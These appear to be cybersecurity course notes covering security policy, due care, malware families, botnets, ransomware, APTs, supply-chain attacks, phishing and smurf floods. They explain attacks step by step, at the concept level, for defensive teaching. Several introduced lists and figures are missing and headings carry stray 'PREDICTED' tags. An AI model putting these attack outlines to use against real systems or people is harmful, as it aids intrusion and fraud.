To remember it: a college hostel. The policy says the hostel must be safe at night; the standard says the main gate is locked at 9 pm; the baseline says every room has a working lock; the guideline suggests keeping valuables in the locker; and the procedure is what a late student does: call the warden, show the ID card, sign the register.

The hierarchy (deck): policies are sanctioned by senior management and drive the standards; standards are built on sound policy and carry its weight, and drive the practices, procedures and guidelines, which give the detailed steps required to meet the standards. The security policy is strategic; the mandatory standards, recommended guidelines and detailed procedures are tactical.

Regulatory frameworks sit above the policy (the deck's pyramid of a regulatory framework's role in administrative security): PCI DSS requirement 3, encrypt cardholder data (the standard titles it protect stored cardholder data, stored account data since version 4.0), leads to an encryption policy, then encryption standards such as the Data Encryption Standard (DES), the Advanced Encryption Standard (AES) and the Rivest-Shamir-Adleman (RSA) algorithm, then data encryption procedures, practices and guidelines. DES, on the slide, is long obsolete: its 56-bit key was broken by brute force in the late 1990s and NIST withdrew it in 2005, so a standard written today names AES.

The deck's details of each document:

• Standards are mandatory activities, actions or rules that give a policy its support and reinforcement in direction. Using one type of computer, or one computer manufacturer, is an organizational standard; so is a consistent company email signature; PCI DSS, NIST CSF, ITIL and ISO standards are external ones. In implementing an inappropriate-use policy, for instance, the organization might create a standard that all inappropriate content will be blocked and list the material considered inappropriate; later, technical controls and their procedures block network access to such websites.
• Baselines may come from the Common Criteria (CC, the international product evaluation standard, ISO/IEC 15408), from the Information Technology Security Evaluation Criteria (ITSEC, its European forerunner of 1991; the deck writes evaluation and criteria) or from the standards of NIST, the National Institute of Standards and Technology.
• Guidelines offer recommendations on how standards and baselines are implemented, outline methodologies and suggested actions, and are not compulsory.
• Procedures follow NIST standards, CSF standards, ISO standards or just the organization's own standards, and are mandatory.

Policies are the least expensive control, and often the most difficult to implement (Whitman and Mattord's point, in the deck):

• Why they are inexpensive: a policy costs only the time and effort management spends to create, approve and communicate it, and the time employees spend fitting it into their daily work. Even with an outside consultant, that is small next to technical controls, which need hardware, licences and staff.
• Why they are difficult: a policy works only if people change what they do. The deck's reasons are short: sometimes impracticable, lack of commitment, not matching the organization's objectives. A password policy costs nothing to write; getting 500 staff to follow it without writing passwords on notes is the hard part.

The challenge of implementing security policies (the class notes' four reasons):

• Lack of commitment: a policy is useless without genuine support and enforcement from senior management; if the top does not take it seriously, employees will not follow it.
• Organizational change: policies ask employees to change their daily activities and behaviour; overcoming that resistance and integrating security into the company culture is a significant challenge.
• Complexity and practicality: a policy must be practical, support the organization's success and never conflict with the law; one that is too restrictive or impractical is ignored.
• End-user involvement: to work, a policy must be written with input from the end users who must follow it.

Rules for shaping a policy (deck): it must never conflict with the law; it must stand up in court if challenged; it must be properly supported and administered; it must contribute to the success of the organization; and it must involve the end users of the information systems.

Common policies (deck): acceptable use policy, data breach response policy, disaster recovery plan, business continuity plan, remote access policy, access control policy; and the password policy below.

Example: a password policy and the procedure behind one clause

• Policy clauses: every user has an individual account and never shares it; passwords are at least 12 characters and not reused from other sites; MFA for email, remote access and all administrators; accounts lock after repeated failures; accounts of leavers are disabled on their last day; violations lead to disciplinary action.
• Procedure for the leavers clause: (1) HR sends IT each leaver's name and last day a week ahead; (2) on the last day IT disables the directory, email and VPN accounts; (3) revokes badges and tokens; (4) hands the files to the manager; (5) records every step in the ticket; (6) each month compares active accounts with the HR staff list and disables any mismatch. This is the procedure missing in the terminated vice president's case.

Due care and due diligence PREDICTED

Knowing and doing. A common way to keep them apart: due diligence is "do detect" (research, assess, verify), due care is "do correct" (implement, operate, fix). Diligence without care is a risk report nobody acts on; care without diligence is controls chosen blindly and never checked.

Practical example: patching. Due diligence: the IT team follows vendor advisories, scans every server weekly and finds a critical patch missing on the web server. Due care: the team applies the patch within the deadline the patch policy sets. In the class notes' words: the policy that requires systems to be patched is due care, and the scans and audits that verify it are due diligence.

Why failing due care is negligence. In law, negligence has four elements: a duty of care owed to others (an organization holding customer data owes one), a breach of that duty (falling below what a reasonable, prudent organization would do), causation (the breach led to the harm) and damages (a real loss). Failing to exercise due care is exactly the breach element: the organization did less than a prudent one would, so if harm follows it is liable. The more foreseeable the harm and the cheaper the precaution, the clearer the negligence. Judge Learned Hand put it as a formula in United States v. Carroll Towing (1947): a party is negligent if $B<P\times L$, where B is the burden (cost) of the precaution, P the probability of the loss and L its size. That is the same comparison as a control's cost against the ALE (quantitative analysis).

Why a lack of due care is negligence, in the class notes' terms: it is a failure to fulfil a fundamental responsibility. The organization's leadership, the CEO included, has a duty of care to protect its assets and stakeholders; by not putting in place the reasonable, necessary security measures a prudent person would, it fails that obligation, and that failure to act responsibly is negligence, with legal liability if a breach follows.

Case: Equifax (2017). A patch for a flaw in the Apache Struts web framework was released in March 2017; Equifax did not apply it on a customer dispute portal, attackers exploited it from May, and personal data of about 147 million people was stolen. A US House committee report called the breach entirely preventable, and in 2019 the company agreed a settlement of up to $700 million with US regulators. The flaw was public and a fix existed (diligence would have found it); not applying it was a failure of due care.

Why managers care. Senior management is responsible for due care, and documented due diligence (assessments, audits, current policies) is how an organization proves it acted reasonably. In Nepal, the Privacy Act 2018 restricts how personal information may be collected, used and disclosed (chapter 8).

Chapter 1 in one screen

• Cybersecurity: protecting systems, networks and data from unauthorised access, attack or damage, to preserve C, I and A; against malice, mistakes, mischance.
• Domains: network, application, data, IAM, cloud, operations, DR and BCP, governance, user education, physical; Henry Jiang's map in nine branches; the eight CISSP domains.
• Why care: breaches hit operations 36%, finances 30%; McKinsey's CEO issue ($3.5 million a breach, 63% weak or stolen passwords); Buffett's 20 years and five minutes; an attack surface of eight parts, shadow IT.
• Warfare: economic (Bangladesh Bank, NotPetya, Norsk Hydro, Colonial Pipeline), political (Estonia, Stuxnet, Ukraine grid, SolarWinds), technical (TTPs, Ryuk in two hours, big-game hunting, EternalBlue and WannaCry, Log4j, xz, machine learning next).
• History: CERT chart (sophistication up, intruder knowledge down); OT timeline from Maroochy 2000 to Norsk Hydro 2019 (water treatment 2016, VPNFilter 2018); Stuxnet in six steps; WannaCry (MS17-010, kill switch); Mirai in nine steps (default passwords, Minecraft origin).
• Supply chain: trusted supplier as the way in; SolarWinds SUNBURST (APT29, 18,000 customers, FireEye, SUNSPOT); Log4Shell JNDI in five steps (CVE-2021-44228); xz backdoor (Jia Tan, 5.6.0 and 5.6.1, found by Andres Freund); defence: SBOM, third party risk.
• CIA: confidentiality (sniffing; encryption), integrity (virus, MITM; hashing, signatures), availability (DoS; redundancy, backups).
• AIC: OT (PLC, SCADA, MES) puts availability, then integrity, then confidentiality; military puts confidentiality first; Maroochy, Stuxnet.
• Other goals: authenticity, accountability, non-repudiation (digital signature, not a MAC), privacy, assurance; Parker adds possession and utility.
• IAAA: identification, authentication, authorization, accountability, plus non-repudiation; the syllabus writes I4A.
• Factors: know, have, are (plus where, do); MFA = two different categories; phishing-resistant = FIDO2, passkeys, PKI smart cards (M-22-09).
• CNSS cube: McCumber 1991, NSTISSI 4011; goals × states × measures = 27 cells; finds gaps.
• Principles: least privilege, need to know, separation of duties, fail-safe defaults, complete mediation, open design, economy of mechanism, psychological acceptability.
• Defence in depth: policies, physical, perimeter, internal network, host, application, data.
• Terms: threat exploits vulnerability in asset; risk = likelihood of harm; attack, breach, exposure, safeguard.
• Threat categories: twelve (IP, service, espionage, nature, human error, extortion, sabotage, software attacks, hardware, software, obsolescence, theft); CVE, CVSS, zero-day; top eight attacks: phishing, ransomware, DoS, MitM, SQL injection, XSS, zero-day, DNS spoofing.
• Risk management: identify, analyse, evaluate, treat, monitor; to an acceptable level; Sun Tzu: know yourself, know the enemy.
• Identification: inventory (six components, attributes), classify (top secret to unclassified; confidential, sensitive, public), value (weighted factor analysis), threats, vulnerable assets (TVA worksheet); four deliverable worksheets.
• Assessment: L × V minus mitigated plus uncertainty (55, 35, 12); 5 × 5 matrix; ranked worksheet.
• Quantitative: SLE = AV × EF; ALE = SLE × ARO; LCD: 500, 3, 1500, buy (3000 against 2000); safeguard value = ALE before minus ALE after minus ACS.
• Controls: administrative, technical, physical; preventive, deterrent, detective, corrective, recovery, compensating, directive.
• Treatment: avoid, transfer, mitigate, accept (and terminate); residual risk owned.
• NIST RMF: SP 800-37 Rev. 2: prepare, categorize (FIPS 199), select (SP 800-53), implement, assess, authorize (ATO), monitor; do not boil the ocean.
• Policy stack: policy, standard, baseline (mandatory), guideline (advisory), procedure; PCI DSS to policy to DES, AES, RSA; cheapest control, hardest to implement (commitment, change, practicality, end users).
• Due care and diligence: care = prudent action, diligence = investigation and checks; negligence = duty, breach, causation, damages; Equifax.

Malicious code and its families PREDICTED

Two questions classify any malware: how does it spread (its propagation), and what does it do when it arrives (its payload)? The deck's first split is on spreading. Viruses and Trojan horses depend on careless human use to move from system to system; worms spread among vulnerable systems under their own power.

To remember the two questions: take a made-up "Free 10GB Data" app forwarded in a class Viber group. How does it spread? People install it themselves, so it travels like a Trojan. What does it do? It reads the wallet PIN typed on the phone, so its payload is spyware. One piece of malware, one answer to each question.

The major threat concerns the deck opens with are malware (viruses, worms, Trojans), phishing and spear phishing, ransomware, DoS and DDoS, advanced persistent threats (APTs), and web application attacks such as SQL injection and XSS. This chapter takes each as mechanism, case and control.

The payload decides the damage to the triad (chapter 1): spyware breaks confidentiality, a file-corrupting virus breaks integrity, ransomware and wipers break availability, and many modern families do all three.

How malware shows up in a SOC. Anti-malware and intrusion prevention products report it as log events that flow into the SIEM (chapter 4). The deck shows three real alerts, from three products in three formats (the xxxxx are the deck's own redactions):

<9>CEF:0|McAfee|VirusScan Enterprise|8.8|1096|Solidcore<Terma Send threat events to Syslog Server> alert|2|alertId=1096
  alertName=Terma Send threat events to Syslog Server alertType=Firewall detected eventType=SolidcoreEvent host=IFS-SCRIPT
  eventname=Anti-virus Standard Protection:Prevent mass mailing worms from sending mail workflowid=
  eventTimestamp=06/09/20 06:00:53 UTC eventObject= eventProgramName= eventProgramUser=SYSTEM

CiscoFirepower: <113>Oct 16 03:08:57 logpoint SFIMS: Correlation Event: EGA_IPS_default/EGA_default at Wed Oct 16 03:08:57 2019 UTC:
  [1:34945:2] "MALWARE-TOOLS Win.Trojan.Dridex dropper message" [Impact: Vulnerable] From "xxxxx" at Wed Oct 16 03:08:57 2019 UTC
  [Classification: A Network Trojan was Detected] [Priority: 1] {tcp} 192.168.2.67:51375 (xxxxx)->192.168.2.67:25 (xxxxx)

BitDefender: gravityzone: [av] {"computer_name":"server","computer_fqdn":"xxxxx","computer_ip":"192.168.7.239","computer_id":"xyzfsjf",
  "product_installed":"BEST","user":{"id":"userid","name":"xxxxx"},"malware_type":"file","malware_name":"Trojan.INK",
  "file_path":"C:\\Downloads.lnk","final_status":"deleted","timestamp":"2017-04-11T03:31:42.000Z","module":"av"}

Every alert answers the same questions: which tool saw it, what it saw, on which host and user, when, and what was done about it (blocked, deleted, or only reported). Three products put those facts in three shapes; pulling them into the same fields is the SIEM's normalisation step (chapter 4).

Viruses: how they spread, and how they hide PREDICTED

A virus needs a host and a human. It cannot move on its own: someone must run the infected program, boot from the infected disk or open the infected document. That dependence is what separates it from a worm.

The four propagation techniques in the deck:

How a macro virus infects a system, in four steps:

1. Delivery: a Microsoft Word or Excel file arrives as an email attachment or a download, usually with an urgent pretext such as an invoice or a CV.
2. Execution: opening it runs an auto-execute macro (AutoOpen, Document_Open) once the user clicks Enable Content, or at once where macros are allowed.
3. Infection: the macro copies itself into the global template (Normal.dotm in Word), so every document opened or created afterwards carries it.
4. Spread and payload: it does its damage and sends itself on. Melissa, in March 1999, mailed the infected document to the first 50 contacts in the victim's Outlook address book, and the flood forced several companies to shut their mail servers.

To remember it: imagine a made-up Internal_Marks.docm dropped in a class Viber group the night before results, with a yellow bar saying the marks show only after Enable Content. That one click is the whole attack: the macro runs, settles into the template, and leaves inside the next document anyone sends.

Virus technologies are the tricks viruses use to hide from antivirus software:

Metamorphic viruses go one step past polymorphic ones: they rewrite their whole body, decryptor included, on every copy, leaving no constant part to match.

To remember why signatures fail: a polymorphic virus is a pickpocket who changes his jacket at every bus stop, so the guard watching for a red jacket never matches him. What still gives him away is the way he works the crowd, which is why heuristic and behaviour-based detection catch what signatures miss.

Defences: anti-malware with both signatures and heuristics; patching; blocking macros in documents from the internet (recent versions of Microsoft Office do this by default); removable media controls; and backups.

Worms: malware that spreads itself PREDICTED

Why worms are a network-scale risk. Every infected host becomes a scanner hunting for new victims, so a worm grows exponentially: one host infects ten, ten infect a hundred. The scanning traffic alone can deny service, which is exactly what the first famous worm did.

The Morris worm (2 November 1988):

• Author and spread: written by Robert Tappan Morris, a Cornell graduate student. It spread through four holes in Unix systems: a debug mode in sendmail, a buffer overflow in the finger daemon, trusted-host rsh and rexec, and guessing weak passwords.
• Effect: its reinfection logic was too aggressive, so it copied itself onto machines it had already infected until they slowed to a halt. It caused a denial of service on around 10% of the roughly 60,000 machines then on ARPANET.
• Sentence: Morris was the first person convicted under the US Computer Fraud and Abuse Act of 1986: three years' probation, 400 hours of community service and a fine of about $10,000.
• The irony: his father, Robert Morris, was then a senior figure at the National Security Agency's National Computer Security Center (NCSC), the US government's centre for computer security. The deck calls him its director; most accounts give his title as chief scientist. (This NCSC is not the UK's National Cyber Security Centre of 2.12.)

Code Red (July 2001):

• Spread: it exploited a buffer overflow in Microsoft's IIS web server. Each infected server picked hundreds of random IP addresses and probed them for a vulnerable IIS, and each host it infected sought many new targets, which magnified its reach.
• Payload: it lived only in memory, and defaced the local site's pages with Hacked By Chinese!
• Logic bomb: at a set time it would launch a denial of service against 198.137.240.91, then the White House web server. Quick-thinking administrators changed the White House's IP address before the attack began.

Later worms show the pattern holding:

• SQL Slammer (January 2003): a single 376-byte UDP packet exploiting Microsoft SQL Server; it infected some 75,000 hosts in about ten minutes.
• WannaCry (May 2017): ransomware carried by a worm. It used EternalBlue, an exploit of a Windows SMBv1 flaw that Microsoft had patched two months earlier (MS17-010), so unpatched networks fell (chapter 7).
• Stuxnet (found in 2010): a worm built as a weapon, taught with supply chain compromise.

Defences: patch exposed services quickly, since every worm above used a known or soon known flaw; close or filter services that need not face the network; segment the network so one infection cannot reach everything; enforce strong passwords; and watch for scanning traffic with an IDS.

Virus, worm and Trojan horse compared PREDICTED

The three classic families differ on two things: what each is for (its primary function) and how it gets from one machine to the next (its propagation). A virus infects, a worm spreads, a Trojan deceives.

• The Xbox Trojan (mid 2002): claimed to let PC users run games designed for the Microsoft Xbox gaming system. It simply did not work, but it inserted a value into the Windows Registry that opened a particular web page every time the computer booted. Its creators hoped to cash in on the advertising revenue generated by the huge number of page views. The class notes call this payload adware, and money from adverts is exactly adware's motive (2.1).
• Rogue antivirus: claims to be an antivirus package, then steals personal information or demands payment to update itself; the update simply disables the Trojan.
• Modern Trojans are mostly loaders and remote access Trojans (RATs). Dridex and Emotet began as banking Trojans that stole credentials, and Emotet went on to deliver other malware, as the Ryuk chain shows.

To remember it: a virus hitchhikes, a worm walks, a Trojan is invited in. The pen drive from the photocopy shop carries a virus, and nothing happens until someone plugs it in and opens the file; a worm needs no one, so one unpatched laptop on the hostel Wi-Fi starts knocking on every other laptop's door; a Trojan is the "free PUBG UC" app a student installs on purpose because it looks useful.

Why the difference matters to a defender. A virus is stopped by controlling what users run and open (macro blocking, allowlisting, awareness); a worm by patching and segmenting the network, because no human is in the loop to notice; a Trojan by awareness, software allowlisting and downloading only from trusted sources.

Real malware blends them. WannaCry was ransomware delivered by a worm; Emotet arrived by phishing like a Trojan, then spread across networks like a worm. Name the family by its dominant behaviour, and say that it blends.

Logic bombs, botnets, spyware and adware PREDICTED

The deck groups these as other malware: code that waits, code that obeys a remote master, and code that watches or sells the user.

• Michelangelo virus: spread on shared floppy disks by infecting the MBR, then hid until 6 March, the birthday of the famous Italian artist Michelangelo Buonarroti. On that date it reformatted the hard drive and destroyed all its data.
• Insider logic bombs: a disgruntled administrator can plant code that deletes data if their account is ever disabled, which is why code changes by departing staff are reviewed (chapter 7).

How a botnet is built, in the four stages of the deck's figure, which puts the cybercriminal (the botmaster) at the centre, the infected machine (bot or zombie) above, and the command and control server beside them:

1. Infection: malware is spread through spam email, infected websites and social media posts.
2. Connection: each infected machine calls home to the C2 server and waits.
3. Control: the botmaster sends commands through the C2 server to every bot at once.
4. Multiplication: the bots infect more machines, and the botnet grows.

• Architecture: a centralised C2 (web or IRC servers) is simple but has a single point of failure: take the server down and the botnet is headless. In a peer-to-peer (P2P) botnet the bots pass commands among themselves, which is far harder to dismantle.
• Uses: DDoS attacks, spam and phishing, data theft, click fraud, cryptocurrency mining, and access to the device and its connection. Mirai (2016) enslaved IoT cameras and routers that still had their factory default passwords, and used them to flood the DNS provider Dyn, taking major websites offline.
• Why attackers want one: thousands of real machines give bandwidth no single attacker could buy, from legitimate-looking addresses all over the world that no one filter can block.

The deck's two 2020 botnets both mine cryptocurrency, Monero (XMR), with the victims' processors and electricity, so the botmaster earns while the victims pay:

• Prometei (July 2020), a new cryptocurrency-mining botnet attack: uses varied techniques to spread and compromise Windows systems and stealthily mine Monero. It moves laterally across the network with SMB and stolen credentials, PsExec, WMI and SMB exploits.
• FritzFrog (August 2020), a P2P botnet malware: breaks into SSH servers by guessing their passwords, runs filelessly in memory, and has no central C2 server at all: each bot passes commands and files to its peers over FritzFrog's own peer-to-peer protocol. On each victim it plants an SSH key as a back door and runs a Monero miner. Taking down one server ends nothing, which is the point of the P2P design.

Spyware and adware make money from the user:

• Spyware monitors the user's actions and sends the details to a remote system. It may wait for a banking login and transmit the username and password, or capture a card number typed on a shopping site for resale on the black market. Keyloggers and screen grabbers are spyware.
• Adware displays advertisements: at its simplest, pop-ups while browsing; nastier versions monitor shopping behaviour and redirect the user to competitors' websites.
• Adware's motive is advertising revenue: its makers are paid for every advert shown, clicked or page viewed, so the more screens it hijacks, the more it earns. The Xbox Trojan (2.1) existed for exactly that money.

To remember spyware: a free torch app has no reason to read your SMS, where the bank's OTPs arrive. When it asks for that permission, the payload is showing.

Taidoor spies for a state rather than for money: a malware variant, a remote access Trojan, used by a Chinese APT for cyber espionage on governments, corporations and think tanks. US Cyber Command says it has been infecting systems since 2008.

MageCart names highly targeted groups of attackers who place digital credit card skimmers on e-commerce sites: JavaScript that intercepts the cardholder's name, address, card number, CVV and expiry date, records that are sold on in underground credit card shops. The name comes from Magento, the open source shop platform the first gangs targeted. The deck's figure runs in five steps:

1. Penetrate: the attacker breaks into the target's e-commerce server, directly or indirectly through a supplier, and incorporates a malicious script.
2. Distribute: the e-commerce service provider's own servers now send the script to every user, inside the front-end website.
3. Shop: users interact with the site as usual and proceed to checkout.
4. Scrape: the script scrapes the payment details as they are typed and sends them to the attacker's server.
5. Collect: the attacker consolidates and retrieves the card records, ready to sell.

Nothing breaks for the shopper, so a skimmer can run for months. The deck's bar chart plots a number of days for each of nine victims: about 15 at British Airways, about 30 at Forbes and Newegg, about 60 at Delta, Sears and Topps, about 210 at Procter & Gamble, about 270 at Ticketmaster and about 730, two years, at OXO. The chart carries no title; the days are most likely how long each skimmer ran before it was found (British Airways' is known to have run from 21 August to 5 September 2018, the chart's first bar).

The way in is step 1, and the deck sets one flaw beside the case:

It let a remote attacker with no login run PHP code on a Magento shop's server by sending crafted, serialised shopping cart data (insecure deserialisation, fixed in Magento 2.0.6): exactly the foothold step 1 needs, so an unpatched shop is an open door. The indirect road is a compromised third-party script: Ticketmaster's skimmer (2018) arrived through a supplier's chat widget. How to read a CVE row is on the zero-day card.

Ransomware in practice: the Ryuk chain, prevention and recovery PREDICTED

Big-game ransomware is the last stage of a longer intrusion. The deck's Ryuk figure shows the chain, and every link is a place to break it:

Prevention, the deck's checklist. It is built on the US HIPAA Security Rule, hence its references to ePHI (electronic protected health information) and business associate agreements:

• Security awareness and training: processes to detect and guard against malicious software, and a workforce trained to detect and report it.
• Risk analysis: identify the risks and vulnerabilities to the confidentiality, integrity and availability of all ePHI the organisation creates, receives, keeps or sends (chapter 1).
• Risk management: security measures that reduce those risks to a reasonable and appropriate level.
• Access controls: rights granted are never excessive (least privilege), so one compromised account cannot reach every file.
• Business associate agreements: who prevents, manages and reports incidents when a partner holds the data.
• The technical basics on top: patch internet-facing systems, MFA on all remote access, no RDP exposed to the internet, EDR, and application allowlisting.

Recovery rests on the contingency plan:

• Data backup plan: follow the 3-2-1 rule (three copies, on two kinds of media, one off site) and keep one copy offline or immutable, because ransomware deletes shadow copies and encrypts every backup it can reach.
• Disaster recovery and emergency operations mode plans: how essential services keep running while systems are rebuilt.
• Testing and revision: test restorations prove the backed-up data is intact and can be restored; test the contingency plans; revise any part the tests show would fail. An untested backup is a hope, not a control.
• Application and data criticality analysis: every critical application and data set is in the plan, in restore order.

To remember 3-2-1: keep data the way a careful family keeps a citizenship certificate: the original at home, a photocopy with a relative in another city, and a scan on a pen drive in the drawer. That is three copies, on two kinds of media, one off site, and the pen drive, unplugged, is the offline copy ransomware cannot reach.

Handling the incident, the deck's recovery steps, which are the incident response cycle of chapter 6 (NIST SP 800-61):

1. Prepare teams and activities ahead of time.
2. Detect and analyse: the scope; the origin (who, what, where, when); whether it is still going on; how it happened.
3. Contain the impact and the spread.
4. Eradicate the malware and the vulnerabilities that let it in.
5. Recover the lost data and return to business as usual.
6. Post-incident work, including regulatory and contractual reporting.

To pay or not. Paying funds the next attack, may break sanctions law where the gang is sanctioned, and buys no certainty: in the deck's 2025 figures more than a quarter of payers still lost data. The decision belongs to management with legal advice, which is why it is written into the incident plan before the day comes.

How malware spreads: the propagation routes PREDICTED

To remember the two groups: a mosquito gets into a room in one of two ways. Either someone opens the door for it (a link clicked, an attachment opened, a pen drive plugged in), or it finds a tear in the net that nobody has to touch (an unpatched service, a default password, an open share).

The route is what separates the families (virus, worm, Trojan): a virus spreads by host files and human action, a worm by services and credentials, a Trojan by persuasion.

Modern campaigns chain routes. Stuxnet arrived on USB drives, then spread through open network shares, zero-days in the Windows Server and Print Spooler services, and a default database password. The Ryuk chain begins with an email, then moves through the network with stolen credentials.

Infection and propagation are different moments. Infection is the first foothold; propagation is everything after it, and inside a network it is called lateral movement, a stage of the kill chain and a tactic in MITRE ATT&CK.

Advanced persistent threats PREDICTED

The APT lifecycle is a wheel of twelve stages in the deck, which fall into three phases:

• Preparation: 1 define the target; 2 find and organise accomplices; 3 build or acquire tools; 4 research the target; 5 test for detection.
• Intrusion: 6 deployment; 7 initial intrusion; 8 outbound connection initiated (to the C2 server); 9 expand access and obtain credentials; 10 strengthen the foothold.
• Mission: 11 exfiltrate data; 12 cover tracks and remain undetected, which loops back to the next objective.

The lifecycle is the kill chain stretched out (chapter 3): researching the target is reconnaissance, building tools is weaponisation, deployment and initial intrusion are delivery, exploitation and installation, the outbound connection is command and control, and stages 9 to 12 are actions on objectives.

To remember the difference: a bag snatcher on a motorbike grabs whatever is in reach and is gone in seconds: commodity malware. An APT is the thief who rents the room next door, studies the household's routine for months, copies a key, and takes things a little at a time while no one notices.

Groups met in this chapter:

• Taidoor: a remote access Trojan of a Chinese APT, in use since 2008.
• APT28: a Russian military intelligence group, behind the LoJax UEFI rootkit (2.8).
• APT29: the Russian foreign intelligence group behind the SolarWinds compromise.
• HAFNIUM: the group behind the 2021 Exchange zero-days.
• DEV-0586 (Cadet Blizzard): the 2022 wiper against Ukraine (2.1).

Why they are hard to catch: they use valid credentials and the victim's own administration tools, move slowly and clean up after themselves, so signatures rarely fire. Defenders answer with threat hunting on the assume-breach principle (chapter 3), egress monitoring for the outbound connection, and behaviour analytics (chapter 5). State APTs are also the soldiers of cyber warfare (chapter 1).

Supply chain compromise: SolarWinds and Stuxnet PREDICTED

Why it works: customers install signed updates from their vendors automatically and give monitoring tools wide privileges. One breach at the supplier becomes thousands downstream, and the malicious code arrives with a valid signature.

To remember it: poisoning one customer's tea takes one cup; poisoning the dairy's milk at the collection centre reaches every household that trusts the brand, with the seal on every packet intact. The signed update is the sealed packet.

SolarWinds. On 13 December 2020 FireEye published a highly evasive intrusion campaign that used the SolarWinds supply chain to reach public and private organisations worldwide. The attacker had got into SolarWinds' build system and inserted a back door named SUNBURST (Microsoft called it Solorigate) into Orion, its IT monitoring and management software.

• Reach: more than 300,000 SolarWinds customers, including over 425 of the US Fortune 500, all ten top US telecoms companies, all branches of the US military, US accounting firms, the Pentagon, State Department, NASA, NSA, Postal Service, NOAA, Department of Justice and the Office of the President. SolarWinds said fewer than 18,000 installed the trojanised update; the attackers then exploited a small number by hand. SolarWinds called it a narrow, extremely targeted, manually executed attack, likely by an outside nation state.
• Stealth: SUNBURST stayed dormant for up to two weeks before calling home, disguised its traffic as Orion's own, and used DNS to reach its C2.
• Attribution: the US government attributed it in April 2021 to Russia's foreign intelligence service (SVR), the group tracked as APT29.

Stuxnet (found in 2010) was a worm originally aimed at Iran's nuclear facilities. It attacked programmable logic controllers (PLCs), the small industrial computers used to automate machine processes, here the Siemens PLCs that ran the uranium enrichment centrifuges at Natanz. The deck calls it the first known virus capable of crippling hardware: it caused substantial damage to Iran's nuclear programme and is reported to have destroyed around a thousand centrifuges. The deck adds that it has since mutated and spread to other industrial and energy-producing facilities. Its six steps:

1. Infection: enters on a USB stick and infects Windows machines, carrying digital certificates that seem to come from reliable companies, to evade automated detection.
2. Search: checks whether the machine is part of the targeted Siemens industrial control system.
3. Update: if not a target, it does nothing; if it is, it tries to reach the internet for a newer version of itself.
4. Compromise: exploits zero-day vulnerabilities to compromise the logic controllers.
5. Control: spies on the system first, then drives the centrifuges to spin themselves to failure.
6. Deceive and destroy: feeds normal-looking readings to the operators, so no one sees the damage until it is too late.

Its propagation, per the deck: unprotected administrative shares on the local network; zero-days in the Windows Server service and Print Spooler service; a default database password; and shared infected USB drives. It was uncovered in 2010 but is thought to have been in development since 2005.

Defences: vendor risk assessment and a software bill of materials; a secured build pipeline; least privilege and segmentation for monitoring tools (Orion had no need to reach the internet); egress monitoring and DNS analytics that would see a server calling an unknown domain; and for industrial systems, strict removable media control and monitoring of controller logic. Both cases are cyber warfare in the sense of chapter 1.

Social engineering and phishing PREDICTED

Why it works: it attacks the one component that patches cannot fix, and it is one of the most effective tools attackers have for gaining access. Phishing messages are becoming increasingly sophisticated, designed to closely resemble legitimate communications.

The levers are few: authority (the boss, the bank, IT), urgency (pay within 24 hours), fear (your account is locked), trust and familiarity (a known brand or colleague), and curiosity or greed (a prize, a parcel).

Reading a phishing email, the deck's user story: Bob in Finance at xyz company receives an email supposedly from AWS Inc., claiming an urgent invoice payment: invoice AWS2134, attached, is past due, and he must log in to his AWS Inc. account within 24 hours to pay. Six indicators give it away:

1. Urgency: the subject Urgent: August Invoice for AWS Cloud storage, and a demand to log in and pay within 24 hours.
2. A look-alike sender: AWS ACCOUNT <fredo@aawsinc[.]com>, claiming to be an admin but sent from a look-alike address with a doubled a.
3. A strange link: the Log in link leads to http://aawsinc.com/, not the real site.
4. A suspicious support link: http://aawsinc.com/support, plain HTTP on the same fake domain.
5. Outside business hours: dated Saturday, 5 September 2020, 9 pm, when no one is around to check.
6. An unexpected attachment: Invoice_August_AWS2134.docx, an Office file from an unexpected source, which may carry a macro. The generic Dear Valued Customer is a seventh.

Countermeasures. The deck names education and training; a SOC adds technical backing:

• Awareness and simulation: regular training and simulated phishing (the course's phishing lab), and a one-click way to report a suspicious message.
• Email authentication and filtering: SPF, DKIM and DMARC reject mail that spoofs the organisation's own domain; filters flag look-alike domains, sandbox attachments and rewrite links.
• A second channel: a payment or password request is confirmed by calling a known number, never the one in the message.
• Phishing-resistant MFA (FIDO2 security keys, passkeys), so a harvested password is not enough (chapter 1).
• Physical controls: badges, anti-tailgating doors, a clean desk policy and shredding against dumpster diving.

Why training comes first: the deck's barrier chart. Right after "education, trainings" the deck shows the Cyber Defense Report 2025's ranking of the barriers organisations face in defending themselves, each with an average score (higher is a bigger barrier). Low security awareness among employees ties for first place:

Read it as two groups. People come first: skilled staff are scarce and ordinary staff are the target. Next come data and tools: too much data, too little automation and context, poor integration and too many false positives are exactly the problems the SIEM, SOAR and XDR were built to solve (chapter 4, chapter 5). Budget comes last.

In Nepal the everyday forms are vishing and smishing: a call or message posing as a bank, a digital wallet or a telecom company asks for an OTP or a PIN, and Nepal Police's Cyber Bureau regularly warns the public about such fraud. A typical text, made up here but true to type: Dear customer, your wallet will be blocked within 24 hours. Complete your KYC now, then a short link to a look-alike login page. Authority, urgency and fear: three levers in one SMS.

DoS, DDoS and the flood attacks PREDICTED

The primary difference between DoS and DDoS is the number of sources. A distributed denial of service happens when many systems attack a single system at the same time: a group of attackers launching coordinated attacks, or, most commonly, the bots of a botnet (2.1). With one source, filtering that address ends the attack; with thousands of bots all over the world, the traffic looks legitimate and the combined bandwidth can exceed anything the victim has. In 2018 GitHub absorbed a 1.35 Tbps flood built by memcached amplification.

To remember the family: one prankster ringing the college office non-stop is a DoS, and blocking his number ends it. A thousand people ringing at once is a DDoS, with no single number to block. A smurf is the prankster texting the whole class "call this number back now" with the office's number as the call-back: every reply lands on the office, reflection and amplification at once.

A distributed reflective DoS (DRDoS) does not attack the victim directly: it manipulates traffic or a network service so the attack is reflected back to the victim from other sources, hiding the attacker and often multiplying the volume.

Ping, the tool the smurf abuses, uses the Internet Control Message Protocol (ICMP) to check connectivity with remote systems: normally it sends an echo request to a single system, and that system answers with an echo reply. A smurf attack is a flood attack that floods the victim with ICMP echo packets instead of TCP SYN packets: a spoofed broadcast ping that uses the victim's IP address as its source. How it works, step by step:

1. Craft the packet: the attacker builds an ICMP echo request (a ping), with the victim's IP address forged as the source.
2. Broadcast: it is sent to the broadcast address of an amplifier network, so one packet reaches every host there, where a normal ping reaches one system.
3. Reply: every host answers with an echo reply to the source address, which is the victim.
4. Flood: one request becomes as many replies as there are hosts, up to 254 on a /24 network; the victim's link fills and real traffic is lost.

Mitigation:

• Stop the amplifiers: routers drop directed broadcasts (the default since RFC 2644 in 1999) and hosts ignore broadcast pings; this is what ended smurf and fraggle.
